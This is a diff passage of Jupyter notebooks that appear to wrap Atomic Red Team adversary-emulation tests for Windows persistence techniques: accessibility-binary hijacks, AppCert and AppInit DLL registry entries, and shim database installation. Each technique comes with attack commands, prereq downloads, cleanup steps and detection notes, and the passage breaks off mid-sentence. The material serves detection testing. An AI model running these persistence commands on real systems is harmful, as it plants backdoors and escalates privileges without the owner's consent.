"58d64769", + "id": "ab74ae52", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "1a8da6cc", + "id": "e7a57b8e", "metadata": {}, "source": [ "### Atomic Test #1 - Attaches Command Prompt as a Debugger to a List of Target Processes", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "7259ccab", + "id": "00698a72", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.008 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "441d9e13", + "id": "a9e444f7", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$input_table = \"osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe, atbroker.exe\".split(\",\")\nForeach ($item in $input_table)\n{\n $item = $item.trim()\n reg delete \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\$item\" /v Debugger /f 2>&1 | Out-Null\n}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e6f4fc0a", + "id": "39296f59", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.008 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "576219f0", + "id": "c7387b6d", "metadata": {}, "source": [ "### Atomic Test #2 - Replace binary of sticky keys", @@ -63,28 +63,28 @@ { "cell_type": "code", "execution_count": null, - "id": "c70e7f31", + "id": "2b77b598", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.008 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "04716d9d", + "id": "a2dfbf8d", "metadata": {}, "source": "#### Cleanup: \n```cmd\ncopy /Y C:\\Windows\\System32\\sethc_backup.exe C:\\Windows\\System32\\sethc.exe\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8f20f021", + "id": "c28defae", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.008 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "590854ab", + "id": "6be4b11a", "metadata": {}, "source": [ "### Atomic Test #3 - Create Symbolic Link From osk.exe to cmd.exe", @@ -98,28 +98,28 @@ { "cell_type": "code", "execution_count": null, - "id": "fe8435ec", + "id": "5b87dbe8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.008 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "2dca48d6", + "id": "5cc0a33f", "metadata": {}, "source": "#### Cleanup: \n```cmd\ntakeown /F %windir%\\System32\\osk.exe /A\nicacls %windir%\\System32\\osk.exe /grant Administrators:F /t\ndel %windir%\\System32\\osk.exe\ncopy /Y %windir%\\System32\\osk.exe.bak %windir%\\System32\\osk.exe\nicacls %windir%\\system32\\osk.exe /inheritance:d\nicacls %windir%\\system32\\osk.exe /setowner \"NT SERVICE\\TrustedInstaller\"\nicacls %windir%\\System32\\osk.exe /grant \"NT SERVICE\\TrustedInstaller\":F /t\nicacls %windir%\\system32\\osk.exe /grant:r SYSTEM:RX\nicacls %windir%\\system32\\osk.exe /grant:r Administrators:RX\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1673fb51", + "id": "b4f9ead4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.008 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "01d2bdae", + "id": "7d3abe4c", "metadata": {}, "source": "## Detection\nChanges to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options." } @@ -127,13 +127,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.009.ipynb b/playbook/tactics/persistence/T1546.009.ipynb index 11d5bedd..6fd59d1e 100644 --- a/playbook/tactics/persistence/T1546.009.ipynb +++ b/playbook/tactics/persistence/T1546.009.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "1a40c67f", + "id": "d43c86d0", "metadata": {}, "source": "# T1546.009 - AppCert DLLs\nAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. " }, { "cell_type": "markdown", - "id": "1c018923", + "id": "43de480b", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "d7955af5", + "id": "49910065", "metadata": {}, - "source": "### Atomic Test #1 - Create registry persistence via AppCert DLL\nCreates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. \nOnce the computer restarted, the DLL will be loaded in multiple processes and write an \n'AtomicTest.txt' file in C:\\Users\\Public\\ to validate that the DLL executed succesfully.\n\nReference: https://skanthak.homepage.t-online.de/appcert.html\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{dll_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.009/bin/AtomicTest.dll\" -OutFile \"PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll\"\n\n```" + "source": "### Atomic Test #1 - Create registry persistence via AppCert DLL\nCreates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. \nOnce the computer restarted, the DLL will be loaded in multiple processes and write an \n'AtomicTest.txt' file in C:\\Users\\Public\\ to validate that the DLL executed succesfully.\n\nReference: https://skanthak.homepage.t-online.de/appcert.html\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{dll_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.009/bin/AtomicTest.dll\" -OutFile \"PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8fd1a87c", + "id": "ee87fc99", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.009 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9e55cea5", + "id": "0c01c69d", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll C:\\Users\\Public\\AtomicTest.dll -Force\nreg add \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\" /v \"AtomicTest\" /t REG_EXPAND_SZ /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nif($false){Restart-Computer} \n```" + "```powershell\nCopy-Item \"PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll\" C:\\Users\\Public\\AtomicTest.dll -Force\nreg add \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\" /v \"AtomicTest\" /t REG_EXPAND_SZ /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nif($false){Restart-Computer} \n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "4c970456", + "id": "8c2c79c5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.009 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "05477b58", + "id": "c167dca9", "metadata": {}, "source": "#### Cleanup: \n```powershell\nreg delete \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\" /v \"AtomicTest\" /f\nRemove-Item C:\\Users\\Public\\AtomicTest.dll -Force\nRemove-Item C:\\Users\\Public\\AtomicTest.txt -Force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ca14b278", + "id": "597c9163", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.009 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "9a9d60bb", + "id": "d18f5e67", "metadata": {}, "source": "## Detection\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement." } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.010.ipynb b/playbook/tactics/persistence/T1546.010.ipynb index d5401107..36ab3e7c 100644 --- a/playbook/tactics/persistence/T1546.010.ipynb +++ b/playbook/tactics/persistence/T1546.010.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "e485821e", + "id": "98d336fb", "metadata": {}, "source": "# T1546.010 - AppInit DLLs\nAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)" }, { "cell_type": "markdown", - "id": "9c7b5bfa", + "id": "b01d73e1", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f792b450", + "id": "ed12dd50", "metadata": {}, - "source": "### Atomic Test #1 - Install AppInit Shim\nAppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. Upon succesfully execution, \nyou will see the message \"The operation completed successfully.\" Each time the DLL is loaded, you will see a message box with a message of \"Install AppInit Shim DLL was called!\" appear.\nThis will happen regularly as your computer starts up various applications and may in fact drive you crazy. A reliable way to make the message box appear and verify the \nAppInit Dlls are loading is to start the notepad application. Be sure to run the cleanup commands afterwards so you don't keep getting message boxes showing up.\n\nNote: If secure boot is enabled, this technique will not work. https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Reg files must exist on disk at specified locations (#{registry_file} and #{registry_cleanup_file})\n\n##### Check Prereq Commands:\n```cmd\nif ((Test-Path PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg) -and (Test-Path PathToAtomicsFolder\\T1546.010\\src\\T1546.010-cleanup.reg)) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010.reg\" -OutFile \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg\"\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010-cleanup.reg\" -OutFile \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010-cleanup.reg\"\n\n```\n##### Description: DLL's must exist in the C:\\Tools directory (T1546.010.dll and T1546.010x86.dll)\n\n##### Check Prereq Commands:\n```cmd\nif ((Test-Path c:\\Tools\\T1546.010.dll) -and (Test-Path c:\\Tools\\T1546.010x86.dll)) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory C:\\Tools -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010.dll\" -OutFile C:\\Tools\\T1546.010.dll\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010x86.dll\" -OutFile C:\\Tools\\T1546.010x86.dll\n\n```" + "source": "### Atomic Test #1 - Install AppInit Shim\nAppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. Upon succesfully execution, \nyou will see the message \"The operation completed successfully.\" Each time the DLL is loaded, you will see a message box with a message of \"Install AppInit Shim DLL was called!\" appear.\nThis will happen regularly as your computer starts up various applications and may in fact drive you crazy. A reliable way to make the message box appear and verify the \nAppInit Dlls are loading is to start the notepad application. Be sure to run the cleanup commands afterwards so you don't keep getting message boxes showing up.\n\nNote: If secure boot is enabled, this technique will not work. https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Reg files must exist on disk at specified locations (#{registry_file} and #{registry_cleanup_file})\n\n##### Check Prereq Commands:\n```cmd\nif ((Test-Path \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg\") -and (Test-Path \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010-cleanup.reg\")) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010.reg\" -OutFile \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg\"\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010-cleanup.reg\" -OutFile \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010-cleanup.reg\"\n\n```\n##### Description: DLL's must exist in the C:\\Tools directory (T1546.010.dll and T1546.010x86.dll)\n\n##### Check Prereq Commands:\n```cmd\nif ((Test-Path c:\\Tools\\T1546.010.dll) -and (Test-Path c:\\Tools\\T1546.010x86.dll)) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory C:\\Tools -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010.dll\" -OutFile C:\\Tools\\T1546.010.dll\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010x86.dll\" -OutFile C:\\Tools\\T1546.010x86.dll\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9c3693a8", + "id": "cb09945d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.010 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1396a5f7", + "id": "8ba08aa1", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nreg.exe import PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg\n```" + "```command_prompt\nreg.exe import \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "8804a691", + "id": "903fe6ea", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.010 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "5b5bfecb", + "id": "bcc9745e", "metadata": {}, - "source": "#### Cleanup: \n```cmd\nreg.exe import PathToAtomicsFolder\\T1546.010\\src\\T1546.010-cleanup.reg >nul 2>&1\n```" + "source": "#### Cleanup: \n```cmd\nreg.exe import \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010-cleanup.reg\" >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f470858f", + "id": "9f01359d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.010 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "8a7cd5fd", + "id": "e00fa9cf", "metadata": {}, "source": "## Detection\nMonitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement." } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.011.ipynb b/playbook/tactics/persistence/T1546.011.ipynb index 0b4d267a..f1141b13 100644 --- a/playbook/tactics/persistence/T1546.011.ipynb +++ b/playbook/tactics/persistence/T1546.011.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "25bcb581", + "id": "dd871867", "metadata": {}, "source": "# T1546.011 - Application Shimming\nAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs." }, { "cell_type": "markdown", - "id": "3dbafdcf", + "id": "17b13205", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "07817d36", + "id": "9bc13514", "metadata": {}, - "source": "### Atomic Test #1 - Application Shim Installation\nInstall a shim database. This technique is used for privilege escalation and bypassing user access control.\nUpon execution, \"Installation of AtomicShim complete.\" will be displayed. To verify the shim behavior, run \nthe AtomicTest.exe from the \\\\T1546.011\\\\bin directory. You should see a message box appear\nwith \"Atomic Shim DLL Test!\" as defined in the AtomicTest.dll. To better understand what is happening, review\nthe source code files is the \\\\T1546.011\\\\src directory.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Shim database file must exist on disk at specified location (#{file_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicShimx86.sdb\" -OutFile \"PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb\"\n\n```\n##### Description: AtomicTest.dll must exist at c:\\Tools\\AtomicTest.dll\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path c:\\Tools\\AtomicTest.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path c:\\Tools\\AtomicTest.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicTest.dll\" -OutFile c:\\Tools\\AtomicTest.dll\n\n```" + "source": "### Atomic Test #1 - Application Shim Installation\nInstall a shim database. This technique is used for privilege escalation and bypassing user access control.\nUpon execution, \"Installation of AtomicShim complete.\" will be displayed. To verify the shim behavior, run \nthe AtomicTest.exe from the \\\\T1546.011\\\\bin directory. You should see a message box appear\nwith \"Atomic Shim DLL Test!\" as defined in the AtomicTest.dll. To better understand what is happening, review\nthe source code files is the \\\\T1546.011\\\\src directory.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Shim database file must exist on disk at specified location (#{file_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicShimx86.sdb\" -OutFile \"PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb\"\n\n```\n##### Description: AtomicTest.dll must exist at c:\\Tools\\AtomicTest.dll\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path c:\\Tools\\AtomicTest.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path c:\\Tools\\AtomicTest.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicTest.dll\" -OutFile c:\\Tools\\AtomicTest.dll\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c4c91ef7", + "id": "b453d7c5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.011 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4d5a6842", + "id": "050daaea", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nsdbinst.exe PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb\n```" + "```command_prompt\nsdbinst.exe \"PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "58ede895", + "id": "6c07a697", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.011 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "85ce6f61", + "id": "d19cf983", "metadata": {}, - "source": "#### Cleanup: \n```cmd\nsdbinst.exe -u PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb >nul 2>&1\n```" + "source": "#### Cleanup: \n```cmd\nsdbinst.exe -u \"PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb\" >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b38e0169", + "id": "479bf174", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.011 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "42d54187", + "id": "a5db8e20", "metadata": {}, "source": [ "### Atomic Test #2 - New shim database files created in the default shim database directory", @@ -67,34 +67,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item $PathToAtomicsFolder\\T1546.011\\bin\\T1546.011CompatDatabase.sdb C:\\Windows\\apppatch\\Custom\\T1546.011CompatDatabase.sdb\nCopy-Item $PathToAtomicsFolder\\T1546.011\\bin\\T1546.011CompatDatabase.sdb C:\\Windows\\apppatch\\Custom\\Custom64\\T1546.011CompatDatabase.sdb\n```" + "```powershell\nCopy-Item \"$PathToAtomicsFolder\\T1546.011\\bin\\T1546.011CompatDatabase.sdb\" C:\\Windows\\apppatch\\Custom\\T1546.011CompatDatabase.sdb\nCopy-Item \"$PathToAtomicsFolder\\T1546.011\\bin\\T1546.011CompatDatabase.sdb\" C:\\Windows\\apppatch\\Custom\\Custom64\\T1546.011CompatDatabase.sdb\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "351af97e", + "id": "d5669d0f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.011 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "b542a276", + "id": "b5f405bc", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item C:\\Windows\\apppatch\\Custom\\T1546.011CompatDatabase.sdb -ErrorAction Ignore\nRemove-Item C:\\Windows\\apppatch\\Custom\\Custom64\\T1546.011CompatDatabase.sdb -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5e6ee668", + "id": "640f82fc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.011 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "ccb59067", + "id": "6bacb000", "metadata": {}, "source": [ "### Atomic Test #3 - Registry key creation and/or modification events for SDB", @@ -108,28 +108,28 @@ { "cell_type": "code", "execution_count": null, - "id": "12191e8a", + "id": "82726ed7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.011 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "dee346c8", + "id": "99148fb0", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Custom\" -Name \"AtomicRedTeamT1546.011\" -ErrorAction Ignore\nRemove-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\InstalledSDB\" -Name \"AtomicRedTeamT1546.011\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0b1d9e3f", + "id": "61f17b4f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.011 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "dcd2b975", + "id": "0473b48c", "metadata": {}, "source": "## Detection\nThere are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are 